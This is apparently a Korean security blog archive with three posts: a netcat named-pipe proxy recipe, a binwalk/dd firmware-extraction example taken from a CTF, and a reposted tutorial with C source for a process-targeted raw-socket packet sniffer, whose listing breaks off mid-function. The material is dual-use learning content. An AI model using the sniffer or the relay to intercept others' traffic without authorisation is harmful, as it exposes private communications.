2014. 10. 15. 14:25


[ 출처 :http://daehee87.tistory.com/ ]

netcat 와 Back pipe 를 이용한 프록시 서버 구축하기 

Proxying

Another useful behaviour is using netcat as a proxy. Both ports and hosts can be redirected. Look at this example:

nc -l 12345 | nc www.google.com 80

Port 12345 represents the request

This starts a nc server on port 12345 and all the connections get redirected to google.com:80. If a web browser makes a request to nc, the request will be sent to google but the response will not be sent to the web browser. That is because pipes are undirectional. This can be worked around with a named pipe to redirect the input and output.

mkfifo backpipe
nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe


Posted by k1rha
2014. 10. 15. 11:44

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2014. 10. 13. 20:29

frimmod kit 도 binwalker 를 잘활용한 모드킷이라고 함.

만능은 아니기 때문에 빈워커의 사용법도 익혀둬야함.


binwalker 사용법 관련 블로그 링크


http://hasu0707.tistory.com/589 // binwalker 사용법에 대한 이야기 

http://hackability.kr/archive/201409 //binwalker 를 이용한 대회 문제 풀이 -> 가장 세세함.



codegate 2014 문제로 보는 biinwalker 사용법 예시

 

binwalker download : https://github.com/devttys0/binwalk

./configure  && make && make install

 

 

root@k1rh4:~/Binwalk# binwalk disk-image


DECIMAL       HEXADECIMAL     DESCRIPTION

--------------------------------------------------------------------------------

0             0x0             Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbdabbd

72704         0x11C00         Linux EXT filesystem, rev 1.0 ext3 filesystem data, UUID=bc6c2b24-106a-4570-bc4f-ae09abbdabbd

1113088       0x10FC00        ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV)

1116896       0x110AE0        LZMA compressed data, properties: 0x89, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes

1117024       0x110B60        LZMA compressed data, properties: 0x9A, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes

1117216       0x110C20        LZMA compressed data, properties: 0xB6, dictionary size: 16777216 bytes, uncompressed size: 33554432 bytes

1117408       0x110CE0        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes

 


 

root@k1rh4:~/Binwalk# dd if=./disk-image of=./binary ibs=1 skip=1113088

984064+0 records in

1922+0 records out

984064 bytes (984 kB) copied, 0.513622 s, 1.9 MB/s

root@k1rh4:~/Binwalk# file binary

binary: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x0bc06819ef5f9b1c94cbffa944b767cbf442c9aa, not stripped

root@k1rh4:~/Binwalk#

 

dd 명령

if   =  입력 파일

of  = 출력 파일

ibs = 읽을 바이트 단위

skip =  건너뛸 바이트 수

 

binwalk를 통해 elf 파일의 위치가 0x10FC00 (1113088)임을 알았기 때문에 위와 같이 실행하면 다음과 같은 elf 파일이 떨어지게 되됨

 



Posted by k1rha
2014. 10. 7. 19:35
by Beist Security Research Group 


Members of Beist Research Group : beist and anonymous people 
Members of Beist Study Group : beist, dars21, obhacker, passion, p-jackpot, jacaranda, cina

 

 

요약본 문서는 유저 레벨에서 패킷 헤더를 분석하는 방법과 특정 프로세스를 지정하여 볼 수 있는 패킷 스니핑 프로그램을 구현하는 방법을 소개합니다.

 

 

 

1. 개요

 

이 문서는 리눅스 환경을 대상으로 작성되었습니다본 문서에서 다룰특정 프로세스를 지정하여 패킷을 스니핑할 수 있는 프로그램은 현재 실행 중인 프로세스와 실행 시킬 프로그램에서 발생하는 패킷을 스니핑하는데 사용될 수 있습니다특히 본 문서에서 다루는 프로그램은 포트 기반으로 수행하는 스니핑이 아니라 프로세스 기반이기 때문에 한 프로세스에서 수시로 다른 포트를 사용할 경우에도 패킷 스니핑을 하기 유용합니다.

본 문서에서는 특정 프로세스에서 사용하고 있는 Port 번호를 알아내기 위하여 proc file system의 프로세스 정보 디렉토리네트워킹 정보 분석 방법데이터링크 액세스 인터페이스 시스템 콜을 이용하여 패킷의 헤더 정보를 알아내는 방법에 대해 다룰 것입니다.

 

 

 

2. 기술적인 내용

 

/proc 디렉토리에서 프로세스 id와 사용중인 포트번호를 추출한 후 해당 프로세스에서 발생하는 패킷의 헤더와 데이터를 분석하는 방법에 대해 알아보겠습니다본 문서에서 설명하는 프로그램은 2가지 방식으로 작동되는데프로그램을 실행할 때패킷을 감시할 프로세스 이름이나 프로세스 ID를 입력하는 방식으로 이루어집니다. (: ./proc_sniff 880 or ./proc_sniff program_name) 다음은 프로세스가 사용중인 Port 번호를 알아내는데 필요한 /proc 디렉토리에 대한 구체적인 내용입니다. (본 문서에서는 주로 TCP에 대해서 설명합니다.)

 

(1) /proc 디렉토리 분석

/proc 디렉토리 내에는 프로세스 정보커널 정보장치 정보네트워킹 정보 등과 같이 다양한 시스템 정보를 포함하고 있지만우리가 관심 있게 봐야 할 부분은 /proc/PID/stat, /proc/net/tcp 파일과 /proc/PID/fd 디렉토리 입니다텍스트 에디터를 사용하여 파일을 읽어보면 프로세스 정보와 네트워킹 정보를 확인할 수 있습니다.

 

 

1) /proc/PID/stat 파일 읽기

프로그램 이름을 실행 인자로 받았을 경우 실행된 프로그램의 프로세스 id 값을 추출하기 위해서 /proc/PID/stat 파일을 사용해야 합니다.여기서 PID /proc 디렉토리 내에 있는 여러 프로세스 ID를 말합니다해당 PID(:1872디렉토리 내의 stat파일은 다음과 같이 프로세스 상태에 관련된 내용을 가지고 있습니다.

 

[root@localhost root]# cat /proc/1872/stat

1872 (sshd) S 1742 1872 1872 0 -1 320 140 48 149 23 2153 982 5 0 15 0 0 0 16721 7065600 535 4294967295 134512640 1347876

80 3221219360 3221216780 3076439090 0 0 4096 73728 3222450524 0 0 17 0 0 0 2153 982 5 0

 

이 정보에서 bold체로 표시된 2번째 필드를 보면 프로세스 이름이 기록되어 있는 것을 확인할 수 있습니다이 정보를 토대로 프로그램 이름과 /proc 디렉토리 내에 있는 모든 PID 디렉토리의 stat 파일을 비교하여 프로세스 이름과 일치하는 파일을 찾아 프로세스 id를 추출할 수 있습니다.

 

 

 

2) /proc/PID/fd 디렉토리 내 파일 디스크립터 읽기

/proc/PID/fd 디렉토리 내에는 해당 PID(:1872프로세스에서 사용하고 있는 파일 디스크립터의 정보가 있습니다아래 예시는/proc/1872/fd 디렉토리의 내용입니다.

 

[root@localhost fd]# ls –l

합계 0

lrwx------    1 root     root           64  3  7 19:06 0 -> /dev/null

lrwx------    1 root     root           64  3  7 19:06 1 -> /dev/null

lrwx------    1 root     root           64  3  7 19:06 2 -> /dev/null

lrwx------    1 root     root           64  3  7 19:06 3 -> socket:[2177]

 

위의 정보를 보면 1872 프로세스의 0(표준입력), 1(표준출력), 2(표준에러파일 디스크립터는 /dev/null로 링크되어 있습니다. 3번 파일 디스크립터는 소켓 파일 디스크립터이고 해당 디스크립터에 링크되어있는 socket:[2177]은 커널에서 관리하고 있는 소켓 번호인 것을 알 수 있습니다이 번호를 이용하여 다음에 설명할 /proc/net 디렉토리 정보와 함께 포트 번호를 추출하는데 사용할 수 있습니다. 1872 프로세스는 위의 1)에서 /proc/1872/stat 파일 정보를 통해 ssh 데몬인 것을 파악했으므로 3번 파일 디스크립터는 ssh 통신을 위한 파일 디스크립터로 예상할 수 있습니다.

 

 

3) /proc/net 정보 얻기

IPv4에 관련된 /proc/net/tcp IPv6에 관련된 /proc/net/tcp6 파일을 통하여 현재 커널에서 관리 중인 소켓의 정보를 파악할 수 있습니다. (본 문서는 IPv4를 대상으로 설명합니다.) 다음의 /proc/net/tcp 파일의 정보인데 ssh 데몬(소켓번호:2177)에서 사용하는 소켓의 정보만 표현하고 다른 소켓 정보는 생략하였습니다.

 

[root@localhost net]# cat tcp

0: 0100007F:0016 0100007F:0BC9 01 00000000:00000000 02:0008A351 00000000     0 02177 2 c2253280 43 4 1 3 -1

 

위의 정보에서 진하게 설정된 부분이 주의 깊게 볼 부분입니다.

 

0100007F:0016 – 서버 측 네트워크 정보를 나타냅니다.

(hex 값을 10진수로 변환하면 127.0.0.1:22)

0100007F:0BC9 – 클라이언트 측 네트워크 주소를 나타냅니다.

(hex 값을 10진수로 변환하면 127.0.0.1:3017)

2177 – socket 번호 입니다.

 

(local network에서 local network으로 연결했기 때문에 서버와 클라이언트의 주소가 같습니다.)

 

 

4) Port 번호 알아내기 과정

프로그램 이름을 실행 인자로 받았을 경우 해당 프로그램을 실행시킨 후에실행된 프로세스가 사용하는 Port 번호를 알아내기 위한 작업의 과정을 종합하면 다음과 같습니다.

 

1. 실행 인자(프로그램 이름) /proc 디렉토리에 모든 /proc/PID/stat 파일의 프로세스 이름 정보를 비교하여 PID (프로세스 id) 정보를 알아냅니다..

2. 알아낸 PID(:1872)를 통해 /proc/1872/fd 의 소켓 파일 디스크립터에 링크된 소켓 번호(:2177)를 알아냅니다.

3. /proc/net/tcp 파일 정보에서 링크된 소켓 번호(2177)을 검색하면 해당 소켓번호의 소켓 정보를 통해 port번호를 알아낼 수 있습니다.0100007F:0016 에서 “0016” port 번호이고, 10진수로 변환하면 “0022” port번호임을 알 수 있습니다.

 

 

(2) Packet 헤더 정보 얻기

 

위의 방법을 통해 Port번호를 알아냈으면 이제 해당 Port 번호에 대한 패킷을 스니핑할 수 있습니다패킷 헤더 정보를 스니핑하기 위해서pcap 라이브러리를 사용하여 프로그램을 작성할 수 있지만본 문서에서는 공개된 라이브러리를 사용하지 않고 직접 시스템 콜을 이용하여 패킷의 헤더를 수신하는 방법에 대하여 알아보겠습니다.

 

1) Ethernet 헤더 열기

TCP, UDP packet의 간단한 구조는 Ethernet 헤더 - IP 헤더 – TCP 혹은 UDP 헤더 순으로 이루어집니다먼저 소켓 시스템 콜을 이용하여 네트워크를 통해 들어온 모든 패킷을 수신하는 방법에 대해 구체적으로 알아보겠습니다.

 

Ethernet 헤더 데이터부터 수신하기 위해서는 소켓을 다음과 같은 설정으로 오픈합니다.

 

sock = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ALL));

 

리눅스에서 지원하는 모든 프로토콜을 처리하기 위해 socket 시스템 콜을 호출할 때 1번째 PF_PACKET을 줍니다다음은 리눅스에서 지원하는 프로토콜 패밀리에 대한 안내입니다.

 

프로토콜 체계

정의

PF_INET

IPv4 인터넷 프로토콜

PF_INET6

IPv6 인터넷 프로토콜

PF_LOCAL

Local 통신을 위한 Unix 프로토콜

PF_PACKET

Low level socket을 위한 인터페이스

PF_IPX

IPX 노벨 프로토콜

 

2번째 인자인 소켓 타입에는 SOCK_PACKET을 줍니다이 타입은 모든 패킷을 수신할 수 있도록 하는 소켓의 데이터 전송 타입입니다. (참고로 TCP SOCK_STREAM, UDP SOCK_DGRAM을 사용합니다.)

3번째 인자인 프로토콜에는 ETH_P_ALL 을 줍니다이 프로토콜은 Ethernet 프로토콜을 통째로 다룰 수 있도록 하는 프로토콜입니다위의 소켓을 통하여 데이터를 수신할 경우 Ethernet 헤더 데이터도 수신할 수 있게 됩니다.

 

2) IP 헤더, TCP 헤더 열기

1)에서 설정한 socket 함수를 통해 수신된 데이터는 Ethernet 헤더와 IP 헤더, TCP 헤더 등 내용까지 포함되어 있습니다. Ethernet 헤더 바로 뒤에 IP 헤더가 붙기 때문에 IP헤더를 읽어오기 위해서는 수신된 데이터에서 Ethernet 헤더의 크기만큼 포인터를 이동해야 IP 헤더정보를 읽어올 수 있습니다.

 

/* packetFirst 변수는 수신한 패킷의 선두 포인터 값을 가지고 있음 */

packetPointer = packetFirst;

/* Ethernet 헤더 크기만큼 이동 */

packetPointer = packetPointer + sizeof (struct ether_header);

struct ip *ip_header = (struct ip *) packetPointer;

 

2-1) ip_header 포인터 변수를 통해 다음과 같은 ip 구조체의 멤버변수 데이터를 얻어 올 수 있습니다.

 

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/ip.h>

 

ip_header->ip_hl          /* 헤더길이 */

  ip_header->ip_v;          /* 버전 */

ip_header->ip_tos;        /* type of service */

  ip_header->ip_len;        /* 전체 길이 */

ip_header->ip_id;         /* 식별id */

  ip_header->ip_off;        /* fragment 옵셋 필드 */

ip_header->ip_ttl;         /* time to live */

ip_header->ip_p;          /* protocol */

ip_header->ip_sum;       /* checksum */

  ip_header->ip_src         /* 출발 ip주소 */

ip_header->ip_dst;        /* 도착 ip주소 */

 

 

IP 헤더의 크기만큼 포인터를 이동하면 TCP 헤더 정보를 읽어올 수 있습니다. IP 헤더의 크기는 ip_header->ip_hl을 통해 알아낼 수 있는데 이 필드는 4비트 길이를 갖지만 단위가 4바이트 단위로 되어 있기 때문에 ip_header->ip_hl 값에 4를 곱해준 값이 IP 헤더의 크기가 됩니다일반적으로 특별한 옵션이 없는 한 ip_header->ip_hl의 값은 5입니다즉 이 값에 4를 곱하면 IP 헤더의 크기는 20바이트 크기인 것을 알 수 있습니다.

 

/* packetPointer 변수는 현재 IP 헤더정보를 가리키는 포인터 값을 가지고 있음 */

/* IP 헤더 크기만큼 이동 */

packetPointer = packetPointer + ((int)(ip->ip_hl) << 2); /* 곱을 쉬프트 연산으로 표현 */

tcp_header = (struct tcphdr *) packetPointer;

 

 

2-2) tcp_header 포인터 변수를 통해 다음과 같은 tcphdr 구조체의 멤버 변수 데이터를 얻어 올 수 있습니다.

 

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/tcp.h>

 

tcp_header->th_sport;        /* 출발지 port */

 tcp_header->th_dport;        /* 목적지 port */

 tcp_header->th_seq;          /* sequence 번호 */

 tcp_header->th_ack;          /* acknowledgement 번호 */

tcp_header->th_x2;           /* (unused) */

 tcp_header->th_off;           /* 데이터 옵셋*/

tcp_header->th_flags;         /* 제어 플래그 */

 tcp_header->th_win;           /* window */

 tcp_header->th_sum;          /* checksum */

 tcp_header->th_urp;           /* 긴급 포인터 */

 

 

TCP 헤더 이후에 오는 내용은 실제 데이터 부분이 됩니다.

 

2-3) UDP 헤더일 경우 udp_header 포인터 변수를 사용하여 다음과 같은 udphdr 구조체의 멤버변수 데이터를 얻어 올 수 있습니다.

 

/* 헤더의 위치는 “/usr/include/netinet/” 입니다 */

#include <netinet/udp.h>

 

udp_header->uh_sport;        /* 출발지 port */

 udp_header->uh_dport;        /* 목적지 port */

 udp_header->uh_ulen;         /* udp 길이*/

udp_header->uh_sum;         /* udp 체크섬*/

 

 

2-4) 다음은 TCP 헤더, UDP 헤더 뒤에 붙는 실제 데이터 포인터 위치를 가져오는 부분에 대한 설명입니다.

 TCP 헤더일 경우 TCP 헤더의 크기를 구하기 위해서 tcphdr 구조체의 th_off 구조체 변수를 사용합니다이 변수 값의 수치 단위는 4바이트이므로 4를 곱하여 tcp 헤더의 크기를 구합니다다음과 같이 현재 packetPointer 포인터의 위치를 tcp헤더의 크기만큼 옮기면packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

 

packetPointer = packetPointer + ((int)(tcp->th_off) << 2);

 

UDP 헤더는 tcp헤더와 다르게 현재 packetPointer 포인터의 위치를 udphdr헤더의 사이즈만큼 옮기면 packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

 다음과 같이 현재 packetPointer 포인터의 위치를 UDP헤더의 크기만큼 옮기면 packetPointer 포인터 변수는 실제 데이터의 선두 위치를 가리키게 됩니다.

 

packetPointer = packetPointer + sizeof(struct udphdr);

 

(3) 프로세스가 사용 중인 Port 번호를 추출하는 소스 설명

 

다음 소스는 (1) /proc 디렉토리 분석 에서 언급하였던  /proc 디렉토리 분석을 통하여 프로세스에서 사용하는 port 번호를 추출하는 부분에 대한 소스코드입니다.

 

1 /*

      2    /proc/net/tcp 정보에서 소켓 device 값과 비교하여 해당 소켓의 port번호를

      3    얻어온다

      4 */

      5 int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum)

      6 {

      7         DIR *directory;

      8         struct dirent *entry = NULL;

      9         char buffer[256];

     10         char *parsing;

     11         char hexPortNum[40];

     12         int culcount;

     13         int linecount;

     14         int find;

     15         FILE *fp;

     16

     17         culcount = linecount = find = 0;

     18         fp = fopen(ProcTcp, "r");

     19         if (fp == NULL)

     20         {

     21                 perror("/proc/net/tcp(6) error");

     22                 exit(0);

     23         }

     24

     25         linecount = 0;

     26         while(fgets(buffer,256, fp) != NULL)

     27         {

     28                 if(linecount == 0)

     29                 {

     30                         linecount++;

     31                         continue;

     32                 }

     33                 culcount = 0;

     34                 parsing = strtok(buffer, ": ");

     35                 while((parsing = strtok(NULL, ": ")) != NULL)

     36                 {

     37                         if(culcount == 1)

     38                         {

     39                                 strcpy(hexPortNum, parsing);

     40                         }

     41                        

     42                         if(!strncmp(parsing, sockdevnum, strlen(sockdevnum)))

     43                         {

     44                                 /*puts("동일");

     45                                 printf("p %s s %s\n", parsing, sockdevnum);*/

     46                                 find = 1;

     47                                 break;

     48                         }

     49                         else

     50                         {

     51                         }

     52                         culcount++;

     53                 }

     54                 if(find) break;

     55         }

     56

     57         if(find){

     58                 *processPortNum = HexToDecimal(hexPortNum);

     59                 return 1;

     60         }

     61         else

     62                 return 0;

     63 }

     64

     65 unsigned short FindPortNum(char* processID)

     66 {

     67         DIR *directory;

     68         struct dirent *entry = NULL;

     69         char procBuff[40];

     70         char sockBuff[40];

     71         char retBuff[40];

     72         char *sockdev;

     73         char *sockdevnum;

     74         char ProcTcp[20];

     75         int ret;

     76         unsigned short processPortNum;

     77

     78

     79         sprintf(procBuff,"/proc/%s/fd", processID);

     80

        81         if ((directory = opendir(procBuff)) == NULL)

     82         {               

     83                 perror("/proc opendir error");

     84                 exit(0);

     85         }                      

     86                                

     87         while((entry = readdir(directory)) != NULL)

     88         {               

     89                 if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0 &&

     90                         strcmp(entry->d_name, "0") != 0 && strcmp(entry->d_name, "1") !=0 && strcmp(entry->d_name, "2") != 0

     91                 {      

     92                         sprintf(sockBuff,"/proc/%s/fd/%s", processID, entry->d_name);

     93                         readlink(sockBuff, retBuff, sizeof(retBuff));

     94                         sockdev = strtok(retBuff, ":[");

     95                         if(strcmp(sockdev, "socket"))

     96                                 continue;

     97                        

     98                         sockdevnum = strtok(NULL, ":[]");

     99                         break;

    100                 }

    101         }      

    102

    103         sprintf(ProcTcp, "/proc/net/tcp");

    104         ret = SockMapPort(ProcTcp, sockdevnum, &processPortNum);

    105         if(ret == 0) // "/proc/net/tcp"에 정보가 없을 경우

    106         {

    107                 sprintf(ProcTcp, "/proc/net/tcp6");

    108                 SockMapPort(ProcTcp, sockdevnum, &processPortNum);

    109         }

    110        

    111         closedir(directory);

    112         return processPortNum;

    113 }      

    114        

    115 /*     

    116  * 프로세스 정보를 가져온다.

    117  * 그러기 위해서 /proc/[PID]/stat파일을 읽어들이고 이를

    118  * 필드별로 파싱한다파싱은 " "문자를 기준으로 한다

    119  * 또한 프로세스를 생성한 유저 이름도 얻어온다.

    120  */

    121 unsigned short FindProcInfo(char* process)

    122 {

    123     DIR *directory;

    124     struct dirent *entry = NULL;

    125     char proc_file[40];

    126     char proc_name[20];

    127     int processFlag = 0;

    128     unsigned short port;

    129

    130     if (IsDigit(process)) //process가 숫자이면

    131     {

    132             processFlag = 1;

    133     }

    134     else

    135     {

    136             sprintf(proc_name, "(%s)", process);

    137     }

    138

    139

    140     if(processFlag == 0) //실행인자가 프로세스명일 경우

    141     {

    142             system(process); //실행인자 프로그램을 실행 시킴

    143

    144             // proc 디렉토리를 열어서 파일(디렉토리포함)의 리스트를

    145             // 얻어온다.

    146             if ((directory = opendir("/proc")) == NULL)

    147             {

    148                 perror("/proc opendir error");

    149                 exit(0);

    150             }

    151

    152             while((entry = readdir(directory)) != NULL)

    153             {

    154                 if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0)

    155                 {

    156                     sprintf(proc_file,"/proc/%s/stat", entry->d_name);

    157                     // stat 파일이 존재하는지 확인하고 확인하고

    158                     if (access(proc_file, F_OK) != 0)

     159                     {

    160                         continue;

    161                     }

    162    

    163                     // 디렉토리 이름이 숫자인지 확인한다.

    164                     // 디렉토리 이름이 숫자라면 이를 파싱한다

    165                     if (IsDigit(entry->d_name))

    166                     {

    167                         if(ProcParser(proc_file, proc_name)) //디렉토리가 프로세스의 디렉토리 정보인지를 확인

    168                         {

    169                                 port = FindPortNum(entry->d_name);

    170                                 printf("processName : %s\nport : %d\n", process, port);

    171                                 break;

    172                         }

    173                     }

    174                     else

    175                     {

    176                     }

    177                 }

    178             }

    179    

    180             closedir(directory);

    181     }      

    182     else //실행인자가 프로세스id일 경우

    183     {      

    184             port = FindPortNum(process);

    185             printf("processID : %s\nport : %d\n", process, port);

    186     }      

    187                

    188     return port;

    189 }

    190          

191 /*                 

    192  * 파일이름이 숫자인지 확인한다.

    193  */

    194 int IsDigit(char *str)

    195 {

    196         int i;

    197         for (i = 0; i < strlen(str); i++)

    198         {

    199                 if (isdigit(str[i])==0)

    200                         return 0;

    201         }

    202         return 1;

    203 }

    204

    205  /*

    206  "/proc/pid/fd/stat"에서 프로세스명 정보를 비교함

    207  */

    208 int ProcParser(char *proc_file, char *proc_name)

    209 {

    210         FILE *fp;

    211         char buf[512] = {0x00,};    212         int pid;

    213         char *pname;

    214

    215         fp = fopen(proc_file, "r");

    216         if (fp == NULL)

    217         {

    218                 perror("error : ");

    219                 exit(0);

    220         }

    221

    222         fgets(buf, 511, fp);

    223         pid = atoi(strtok(buf, " "));

    224         pname = (char*)strtok(NULL, " ");

    225         fclose(fp);

    226         if(strncmp(pname, proc_name, strlen(proc_name)))

    227         {

    228                 return 0; //프로세스이름과 일치하지 않음

    229         }

    230         else

    231         {

    232                 return 1; //프로세스이름과 일치

    233         }

    234        

    235 }                                                                                 

 

 

 

 

1) 함수 요약 설명

FindProcInfo : 프로세스 id를 매개변수로 받았을 경우에는 바로 FindPortNum 함수에 프로세스 id를 넘겨 포트번호를 추출합니다.프로그램 명을 매개변수로 받았을 경우에는 프로그램을 실행시키고, /proc 디렉토리를 검색하여 ProcParser 함수로 프로세스 id를 알아냅니다이 프로세스 id를 FindPortNum 함수에 대입하여 port 번호를 추출합니다.

 

FindPortNum : 인수로 받은 프로세스 id를 토대로 /proc/pid/fd 디렉토리를 읽어들여 0, 1, 2 기본 파일 디스크립터를 제외한 파일 디스크립터 중에 심볼릭 링크된 값이 socket으로 링크된 디바이스 번호를 SockMapPort 함수에 매개변수로 넘겨 소켓의 포트 번호를 추출합니다.

 

SockMapPort : /proc/net/tcp나 /proc/net/tcp6 파일을 한 라인씩 읽어 들여 인자로 받은 디바이스 번호와 일치한 라인을 찾습니다찾은 라인의 3번째 필드 값이 포트 번호입니다이 값은 16진수로 되어 있기 때문에 10진수로 변환 후 포트번호를 리턴합니다.

 

ProcParser : 인수로 받은 /proc/pid/fd/stat 파일의 데이터에 프로세스 이름이 일치하는 확인하여 프로세스 id를 찾습니다.

 

IsDigit : 인수로 받은 str이 숫자인지 확인합니다.

 

 

2) 소스 해설

5 : SockMapPort 함수는  “/proc/net/tcp”나 “/proc/net/tcp6”을 가리키는 문자열과 소켓 디바이스 번호저장될 프로세스 포트 번호 변수를 인수로 받습니다.

18 : “/proc/net/tcp” 파일을 오픈합니다.

26 ~ 55행 : “/proc/net/tcp” 의 데이터를 한 라인씩 읽어들여 “:”로 토큰한 값 중에 소켓 디바이스 값과 일치하는지 비교하고일치하는 값을 찾으면 저장해 놓은 hexPortNum 값이 16진수로 표현된 포트번호입니다.

57 ~ 60행 : 16진수로 표현된 포트번호를 10진수로 변경합니다.

 

65 : FindPortNum 함수는 문자열로 표현된 프로세스 id를 인수로 받습니다.

79 : 프로세스id 문자열을 추가하여 “/proc/pid/fd” 문자열 값인 procBuf를 만듭니다.

81 : opendir 함수로 procBuff 디렉토리를 오픈하여 디렉토리 포인터를 directory 변수에 저장합니다.

87 ~ 101행 : readdir 함수로 directory 변수의 디렉토리 내에 있는 파일을 읽어 들입니다파일이름이 “.”, “..”, “0”, “1”, “2”를 제외한 파일을 readlink 함수를 사용하여 심볼릭 링크된 값을 retBuff에 저장합니다. retBuff에 저장된 값이 소켓 디바이스면 “socket:[802831]”로 표현되기 때문에 “:[]”로 토큰하여 중괄호 안에 있는 소켓 디바이스 값을 sockdevnum 변수에 저장합니다.

103 : “/proc/net/tcp” 문자열을 ProcTcp 변수에 저장합니다.

104 : 프로세스가 사용중인 포트번호를 추출하기 위해 SockMapPort 함수를 호출합니다.

105 ~ 109행 : 소켓 디바이스 번호와 맵핑 된 포트번호가 없으면 “/proc/net/tcp6”를 첫번째 매개변수로 SockMapPort를 재호출합니다.

111 : 오픈한 디렉토리를 닫습니다.

112 : 프로세스가 사용 중인 포트 번호를 리턴합니다.

 

121 : FindProcInfo 함수는 프로그램 명이나 process id를 인자로 받습니다.

130 ~ 137행 : IsDigit 함수를 사용하여 인수로 받은 process 값이 숫자인지 체크합니다숫자이면 프로세스 id이기 때문에processFlag 값을 1로 설정한다숫자가 아니면 프로그램 명이므로 나중에 proc/pid/stat와 비교 과정에서 프로세스 id를 알아내기 위해 프로그램 명에 “()”를 추가합니다.

142 : 인자로 받은 process 변수의 데이터가 프로그램 명인 경우에는 프로그램을 실행 시킵니다.

146 ~ 149행 : opendir함수를 사용하여 “/proc” 디렉토리를 오픈합니다.

152 ~ 178행 : “/proc” 디렉토리를 읽어 들여 ProcParser 함수에 “/proc” 디렉토리 내에

“/proc/pid/stat” 파일과 프로세스 이름을 매개변수로 넘겨 프로세스 id를 찾습니다프로세스

Id 를 찾으면 FindPortNum 함수에 프로세스 id를 매개변수로 넘겨 포트번호를 추출합니다.

180 : 오픈한 “/proc” 디렉토리를 닫습니다.

182 ~ 186행 : 인자로 받은 process 변수의 데이터가 프로세스 id 이므로  바로

FindPortNum 함수에 프로세스 id를 매개변수로 넘겨 포트번호를 추출합니다.

188 : 포트번호를 반환합니다.

 

194 ~ 203행 : 인자로 받은 str 변수의 데이터가 숫자 문자열인지를 체크합니다.

 

 

208 : ProcParser 함수는 “/proc/pid/fd/stat” 문자열을 가리키는 변수와 프로그램 명을 인자로 받습니다.

215 : “/proc/pid/fd/stat” 파일을 오픈합니다.

222 ~ 224행 : 오픈한 파일 포인터로부터 데이터를 읽어 들여 공백을 구분자로 2번 파싱합니다첫 번째 파싱하여 얻은 데이터는 pid이고두 번째 파싱하여 얻은 데이터는 프로세스 이름입니다.

226 ~ 233행 : 파싱하여 얻은 프로세스명(pname)과 프로그램 명(proc_name)이 일치하는지 확인하여 일치 여부를 반환합니다.

 

 

 

 

(4) Packet Header 추출하는 부분 소스 설명

다음 소스는 (2) Packet 헤더 정보 얻기 에서 언급하였던 소켓을 통해 ethernet 헤더부터 수신한 데이터를 분석하는 부분에 대한 소스코드입니다.

 

1 void packetCapture(unsigned short portnum, FILE *wfp)

2 {

3         struct ether_header *eth;

4         struct ether_arp *arp;

5         struct ip *ip;

6         struct icmp *icmp;

7         struct tcphdr *tcp;

8         struct udphdr *udp;

9         int s;

10         int len;

11         int c;                    // getopt()에서 취득한 문자  

12         char buff[MAXSIZE];       // 데이터 수신 버퍼                  

13         char *packetPointer;      // 헤더의 선두를 나타내는 작업용 포인터

14         char *packetFirst;        // 패킷의 선두를 나타내는 포인터     

15         char buf[BUFSIZE];

16         int i;

17         char data[BUFSIZE];

18

19         if ((s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {

20                 perror("socket");

21                 exit(1);

22         }

23

24         while (1){

25                 if ((len = read(s, buff, MAXSIZE)) < 0) {

26                         perror("read");

27                         exit(1);

28                 }

29                 /* Ethernet 헤더선두에 포인터를 세트 */

30                 packetPointer = packetFirst = buff;

31

32                 eth = (struct ether_header *) packetPointer;

33                 packetPointer = packetPointer + sizeof (struct ether_header);

34                 

35

36                 if (ntohs(eth->ether_type) == ETHERTYPE_IP) {

37                         ip = (struct ip *) packetPointer;

38                

39                         packetPointer = packetPointer + ((int)(ip->ip_hl) << 2);

40

41                         switch (ip->ip_p) {

42                                 case IPPROTO_TCP:

43                                         tcp = (struct tcphdr *) packetPointer;

44                                         if((portnum == ntohs(tcp->th_sport))

 || (portnum == ntohs(tcp->th_dport))){

45                                               

46                                                 print_ip(ip, wfp);

47                                                 print_tcp(tcp, wfp);

48                                                 dump_packet(packetFirst, len, wfp);

49                                                 printf("\n");

50                                                 sprintf(buf, "\n");

51                                                 fputs(buf, wfp);

52                                                 fflush(stdout);

53                                         }

54                                         break;

55                                 case IPPROTO_UDP:

56                                         udp = (struct udphdr *) packetPointer;

57                                         packetPointer = packetPointer

+ sizeof(struct udphdr);

58                                         if((portnum == ntohs(udp->uh_sport))

|| (portnum == ntohs(udp->uh_dport))){

59                                                 print_ip(ip, wfp);

60                                                 print_udp(udp);

61                                                dump_packet(packetFirst, len, wfp);

62                                                 printf("\n");

63                                                 sprintf(buf, "\n");

64                                                 fputs(buf, wfp);

65                                                 fflush(stdout);

66                                         }

67                                         break;

68                         }

69                 }

70         }

71

72 }

73

74

75

76 void dump_packet(unsigned char *buff, int len, FILE *fp)

77 {

78         int i, j;

79         char buf[BUFSIZE];

80

81         printf("Packet Dump:\n");

82         sprintf(buf, "Packet Dump\n");

83         fputs(buf, fp);

84         for (i = 0; i < len; i += 16) {

85                 // 16진수 덤프

86                 for (j = i; j < i + 16 && j < len; j++) {

87                         printf("%02x", buff[j]);

88                         sprintf(buf, "%02x", buff[j]);

89                         fputs(buf, fp);

90

91                         if (j % 2 == 1){

92                                 printf(" ");

93                                 sprintf(buf, " ");

94                                 fputs(buf, fp);

95                         }

96                 }

97

98                 // 제일 마지막 행의 끝 수를 정렬

99                 if (j == len && len % 16 != 0)

100                         for (j = 0; j < 40 - (len % 16)*2.5; j++){

101                                 printf(" ");

102                                 sprintf(buf, " ");
